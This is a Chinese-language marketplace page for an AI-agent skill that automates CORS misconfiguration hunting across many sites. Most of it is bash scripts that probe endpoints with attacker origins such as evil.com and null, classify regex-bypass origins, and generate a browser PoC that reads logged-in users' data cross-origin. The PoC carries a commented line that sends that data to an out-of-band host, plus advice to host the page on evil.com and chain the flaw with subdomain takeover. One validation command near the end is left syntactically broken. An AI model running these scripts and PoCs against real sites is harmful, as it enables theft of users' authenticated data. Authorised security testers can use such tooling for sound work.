mcpField
C
cors-chain-automation

cors-chain-automation

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 cors-chain-automation

cors-chain-automation 是用于系统排查多个 API 端点和目标域名 CORS 行为的技能。它区分可利用凭据的模式与误报,并为已确认发现生成浏览器 PoC HTML。

主要功能

  1. 01发现并探测多个端点
  2. 02测试反射、null 和正则绕过来源
  3. 03检查 OPTIONS 预检行为
  4. 04分类子域名正则缺陷
  5. 05生成浏览器 PoC HTML

适用场景

  1. 01对端点列表进行 CORS 排查
  2. 02验证带凭据的跨域访问
  3. 03检查 OPTIONS 是否允许可用请求
  4. 04为已确认发现创建浏览器 PoC 文件

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill cors-chain-automation

安装后在 Claude Code 中输入/cors-chain-automation确认已加载。

详细介绍

多端点 CORS 分诊

适用场景

当你拥有一系列 API 端点或目标域名,需要系统性地大规模查找可利用凭据的 CORS 错误配置时使用。它会区分 3 种可利用模式(反射任意源并允许凭据、信任 null 源、子域名正则表达式绕过)与误报(仅有 ACAO: *、没有反射源的 ACAC、仅允许同源)。确认发现后,会生成可直接使用的浏览器 PoC HTML 文件。

CORS 变体

#变体初始信号必需的后续验证
V1带凭据的源反射反射源且 ACAC: true使用带凭据的浏览器读取受保护数据
V2信任 null 源ACAO: null 且 ACAC: true使用沙盒浏览器验证
V3不带凭据的通配符ACAO: *判断数据是否本来就是公开的
V4带凭据的预检请求OPTIONS 接受源和方法实际浏览器请求成功
V5受保护路由的 CORS401 或 403 响应中出现 CORS已获批准的会话返回受保护数据
V6广泛的源反射反射多个互不相关的源使用受控源进行浏览器验证
V7特定命名空间的 CORS仅一个 API 或插件命名空间进行反射验证该命名空间的数据或操作
V8特定环境的 CORS不同环境中的策略不同在范围内展示影响
关键实现经验 — 测试所有端点,而不只是 /users

不要根据单个路由推断整个应用的策略。测试应用映射支持的有限端点集合:

# WRONG — tests only /users:
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i "access-control"

# CORRECT — test ALL endpoints:
for ep in /wp-json/wp/v2/users /wp-json/wp/v2/posts /wp-json/wp/v2/pages \
  /wp-json/wp/v2/media /wp-json/wp/v2/comments /wp-json/wp/v2/statuses \
  /wp-json/wp/v2/tags /wp-json/wp/v2/categories /wp-json/wp/v2/settings \
  /wp-json/wc/v3/products /wp-json/gf/v2/forms /wp-json/wp-site-health/v1; do
  cors=$(curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null | grep -iE "access-control-allow-origin|access-control-allow-credentials")
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null)
  echo "${ep} — HTTP ${code} | ${cors:-NO CORS}"
done

即使返回 401/403(需要身份验证)的端点也会发出 CORS 标头;如果管理员已登录,这些 401 响应就会变成 200,敏感数据也可被跨源读取。

OPTIONS 预检请求中的 CORS(V4)

有些站点只在 OPTIONS 预检请求中泄露 CORS 标头,而不在 GET 中泄露。务必两种都测试:

curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://$TARGET/wp-json/wp/v2/users" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET" | grep -iE "access-control"
null 源测试(V2)

沙盒 iframe 会发送 Origin: null。有些站点会将其列入白名单。请明确测试:

curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: null" | grep -iE "access-control"
# Quick triage: probe 3 CORS patterns on a target
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
  -H "Origin: https://evil.com" \
  -H "Cookie: $COOKIE" | grep -i "access-control"

curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
  -H "Origin: null" \
  -H "Cookie: $COOKIE" | grep -i "access-control"

# Multiple origins test
for origin in "https://evil.com" "https://eviltarget.com" "https://x.target.com.evil.com"; do
  echo "=== $origin ==="
  curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" -H "Origin: $origin" -H "Cookie: $COOKIE" | grep -i "access-control"
done

分步操作

阶段 1 — 发现端点
#!/bin/bash
# cors-endpoint-discovery.sh - Find CORS-emitting endpoints
TARGET="$1"
ENDPOINTS=(
  "/api/me" "/api/user" "/api/profile" "/api/session" "/api/tokens"
  "/api/csrf" "/api/account" "/api/settings" "/api/config"
  "/api/v1/me" "/api/v1/user" "/api/v1/profile"
  "/wp-json/wp/v2/users" "/wp-json/wp/v2/posts"
  "/graphql" "/v1/graphql"
  "/.well-known/openid-configuration"
)

for endpoint in "${ENDPOINTS[@]}"; do
  result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$endpoint" \
    -H "Origin: https://evil.com" -H "Cookie: $COOKIE" 2>/dev/null | grep -i "access-control")
  [ -n "$result" ] && echo "=== $endpoint ===" && echo "$result"
done
阶段 2 — 自动探测 CORS(3 种模式)
#!/bin/bash
# cors-probe.sh - Test 3 exploitable CORS patterns on each endpoint
TARGET="$1"
COOKIE="${2:-}"
PATTERNS=(
  "https://evil.com"
  "https://eviltarget.com"  
  "https://x.target.com.evil.com"
  "null"
)
RESULTS_FILE="/tmp/cors_results_${TARGET//\//_}.txt"

echo "CORS Probe Results for $TARGET" > "$RESULTS_FILE"
echo "Cookie: ${COOKIE:+present}" >> "$RESULTS_FILE"

for origin in "${PATTERNS[@]}"; do
  echo -e "\n--- Origin: $origin ---" >> "$RESULTS_FILE"
  
  # Test multiple endpoints
  for ep in /api/me /api/user /api/profile /api/session /api/tokens /api/csrf; do
    response=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$ep" \
      -H "Origin: $origin" ${COOKIE:+-H "Cookie: $COOKIE"} 2>/dev/null)
    
    acao=$(echo "$response" | grep -i "access-control-allow-origin" | tr -d '\r')
    acac=$(echo "$response" | grep -i "access-control-allow-credentials" | tr -d '\r')
    
    [ -n "$acao" ] && echo "  $ep → $acao | ${acac:-no ACAC}" >> "$RESULTS_FILE"
  done
done

echo "Results written to $RESULTS_FILE"
阶段 3 — 子域名正则表达式绕过分类
#!/bin/bash
# cors-regex-classifier.sh - Identify the EXACT regex flaw
# Usage: ./cors-regex-classifier.sh target.com

TARGET="$1"
ENDPOINT="/api/me"

# Test each bypass class
declare -A TESTS
TESTS["Standard-subdomain"]="https://evil.$TARGET"
TESTS["Missing-dot-separator"]="https://evil${TARGET}"  
TESTS["Missing-end-anchor"]="https://x.$TARGET.evil.com"
TESTS["Prefix-only"]="https://$TARGET.evil.com"
TESTS["Backtick-bypass"]="https://$TARGET%60.evil.com"
TESTS["Null-origin"]="null"

echo "=== CORS Regex Classification for $TARGET ==="
for test_name in "${!TESTS[@]}"; do
  origin="${TESTS[$test_name]}"
  result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$ENDPOINT" \
    -H "Origin: $origin" -H "Cookie: $COOKIE" 2>/dev/null | grep -i "access-control-allow-origin")
  echo "[$test_name] Origin: $origin → ${result:-NO MATCH}"
done
阶段 4 — 生成浏览器 PoC
#!/bin/bash
# cors-poc-generator.sh - Generate browser PoC HTML for confirmed findings
# Usage: ./cors-poc-generator.sh target.com /api/me "eyJhbGci..."

TARGET="$1"
ENDPOINT="$2"
SESSION_HINT="${3:-}"
DATE=$(date +%Y%m%d)
POC_FILE="poc-cors-${TARGET}-${DATE}.html"

cat > "$POC_FILE" << POCEOF
<!doctype html>
<html>
<head><title>CORS PoC — ${TARGET}${ENDPOINT}</title></head>
<body>
<h2>CORS Credential Read PoC</h2>
<p>Target: <code>https://${TARGET}${ENDPOINT}</code></p>
<p>Date: ${DATE}</p>
${SESSION_HINT:+<p>Session hint: <code>${SESSION_HINT}</code></p>}
<pre id="out">Loading...</pre>
<hr>
<h3>Results:</h3>
<script>
(async () => {
  const out = document.getElementById('out');
  const results = [];
  
  try {
    let r = await fetch('https://${TARGET}${ENDPOINT}', {credentials: 'include'});
    let d = await r.text();
    results.push('STATUS: ' + r.status);
    results.push('BODY: ' + d.substring(0, 500));
    
    // OOB exfil (uncomment for proof)
    // await fetch('https://OOB-ID.oastify.com/exfil?d=' + btoa(d));
  } catch(e) {
    results.push('BLOCKED: ' + e.message);
  }
  
  out.textContent = results.join('\\n');
  
  // Additional endpoints
  const extraEndpoints = ['/api/user', '/api/session', '/api/tokens'];
  for (const ep of extraEndpoints) {
    try {
      let r = await fetch('https://${TARGET}' + ep, {credentials: 'include'});
      let d = await r.text();
      results.push('--- ' + ep + ' ---');
      results.push('STATUS: ' + r.status);
      results.push('BODY: ' + d.substring(0, 300));
    } catch(e) {
      results.push('--- ' + ep + ' --- BLOCKED');
    }
  }
  out.textContent = results.join('\\n');
})();
</script>
</body>
</html>
POCEOF

echo "[+] PoC written to: $POC_FILE"
echo "    Host this on evil.com and visit while logged into $TARGET"
阶段 5 — 与子域名接管结果进行批量交叉比对
#!/bin/bash
# cors-bulk-chainer.sh - Find targets where CORS + subdomain takeover chain
# Reads CORS results and subdomain takeover fingerprints, finds overlaps

CORS_RESULTS="$1"
SUB_RESULTS="$2"

echo "=== CORS + Subdomain Takeover Chain Candidates ==="
while read line; do
  target=$(echo "$line" | awk '{print $1}')
  cors_type=$(echo "$line" | awk '{print $2}')
  sub_status=$(grep "$target" "$SUB_RESULTS" 2>/dev/null | head -1)
  
  if [ -n "$sub_status" ]; then
    echo "[CHAIN] $target — CORS: $cors_type | Subdomain: $sub_status"
    echo "  -> If CORS trusts *.$target and a subdomain is takeoverable: Critical chain"
  fi
done < "$CORS_RESULTS"

注意事项

  • 只测试 /users 端点 — 这是最常见的 CORS 检测错误。WordPress 上的 CORS 凭据反射会影响所有 REST 端点,而不只是 users。请测试 /wp/v2/users、/wp/v2/posts、/wp/v2/pages、/wp/v2/media 和特定于插件的命名空间。
  • 将单独的 ACAO: 误认为可利用的 CORS* — 不带 Access-Control-Allow-Credentials: true 的 Access-Control-Allow-Origin: * 是安全的。只有源反射并允许凭据才可利用。
  • 跳过 OPTIONS 预检请求 — 有些站点只在 OPTIONS 中发出 CORS 标头,而不在 GET 中发出。务必测试这两种方法。
  • 遗漏 null 源测试 — 沙盒 iframe 会发送 Origin: null。有些站点会将其列入白名单。请明确测试。
  • 只测试单个源 — 只测试 Origin: https://evil.com 会漏掉多源反射模式。至少测试 4 种模式:evil.com、子域名绕过、null 和预检请求。
  • 需要身份验证的端点仍会泄露数据 — 即使是 401/403 响应也可能发出 CORS 标头。如果管理员已登录,这些响应就会变成 200,数据也可被跨源读取。
  • 未记录仅在 Staging 环境出现的 CORS — 如果 CORS 只在 Staging 环境中可利用,请明确记录。生产环境可能有不同的控制措施。
  • 不带凭据:include 的浏览器 PoC — 生成的 PoC 必须使用 credentials: 'include',否则浏览器不会发送 Cookie,攻击也不会生效。
  • 迭代超过 5 个端点时使用 Shell 循环 — zsh 数组展开可能会悄无声息地失败。超过 5 个端点的批量 CORS 探测请使用 Python。

攻击面信号

  • 返回 Access-Control-Allow-Origin 标头的端点
  • 基于 Cookie 身份验证的 API 端点(响应正文中包含 PII、令牌、CSRF 令牌)
  • WordPress REST API 端点(/wp-json/wp/v2/users、/wp-json/wp/v2/posts)
  • 使用客户端 API 调用的 SPA(Next.js、React、Vue)

参考文件

常见根本原因

  1. 反射任意来源并允许凭据 — 服务器回显 Origin 标头并设置 ACAC: true
  2. 信任 null 来源 — 服务器将 null 来源加入白名单,可通过沙盒 iframe 利用
  3. 子域名正则表达式缺陷 — 点未转义、缺少结尾锚点、缺少前缀点
  4. 完全未验证 Origin 标头 — 接受所有来源
  5. 绕过预检(OPTIONS)限制 — OPTIONS 允许任意方法和标头

绕过技术

正则表达式缺陷载荷原因
域名前缺少点https://eviltarget.com.*target\\.com$ 会匹配 eviltarget.com
缺少结尾锚点 $https://x.target.com.evil.com正则表达式只匹配前缀
点未转义(. = 任意字符)https://xtargetXcom. 匹配任意单个字符
仅匹配前缀(没有 $)https://target.com.evil.com匹配字符串开头
信任 null沙盒 iframe + data: URI自动发送 Origin: null

真实案例

根据对 58 家公司的实地侦察:

  • 7 个深度目标中有 5 个在 WP REST API 上存在 CORS 凭据反射(反射任意来源 + ACAC)
  • 这 5 个目标均允许跨来源携带凭据读取用户列表、文章内容和媒体文件
  • CORS 漏洞与子域名接管串联后,可实现完整的同源 JS 执行

验证

运行此自检以确认 CORS 探测功能正常:

  1. 基本 CORS 探测 — 测试已知端点的来源反射:

    curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: https://evil.com" | grep -i "access-control"
    
  2. OPTIONS 预检测试 — 确认预检探测语法:

    curl --max-time 30 --connect-timeout 10 -s -X OPTIONS "https://httpbin.org/get" -H "Origin: https://evil.com" -H "Access-Control-Request-Method: GET" -D - -o /dev/null | head -5
    
  3. Null 来源测试 — 确认 null 来源语法:

    curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: null" -w "HTTP %{http_code}
    

"


4. **PoC 模板完整性** — 验证浏览器 PoC 模板是否存在:
```bash
grep -q "credentials: 'include'" SKILL.md && echo "PASS: PoC template includes credentials" || echo "FAIL"
grep -q "fetch(" SKILL.md && echo "PASS: fetch() PoC pattern present" || echo "FAIL"

全部 4 项测试用于验证核心 CORS 探测能力。


相关技能

  • hunt-cors — 底层 CORS 漏洞搜寻方法
  • hunt-subdomain — 将 CORS 与子域名接管串联,用于发现严重漏洞
  • hunt-xss — 浏览器 PoC 生成技术
  • hunt-csrf — 将 CORS 预检绕过链串联为 CSRF 攻击
  • hunt-dom — postMessage 来源检查与 CORS 来源检查相关
  • hunt-wordpress — WP REST API 是最常见的 CORS 来源

评论

支持 Markdown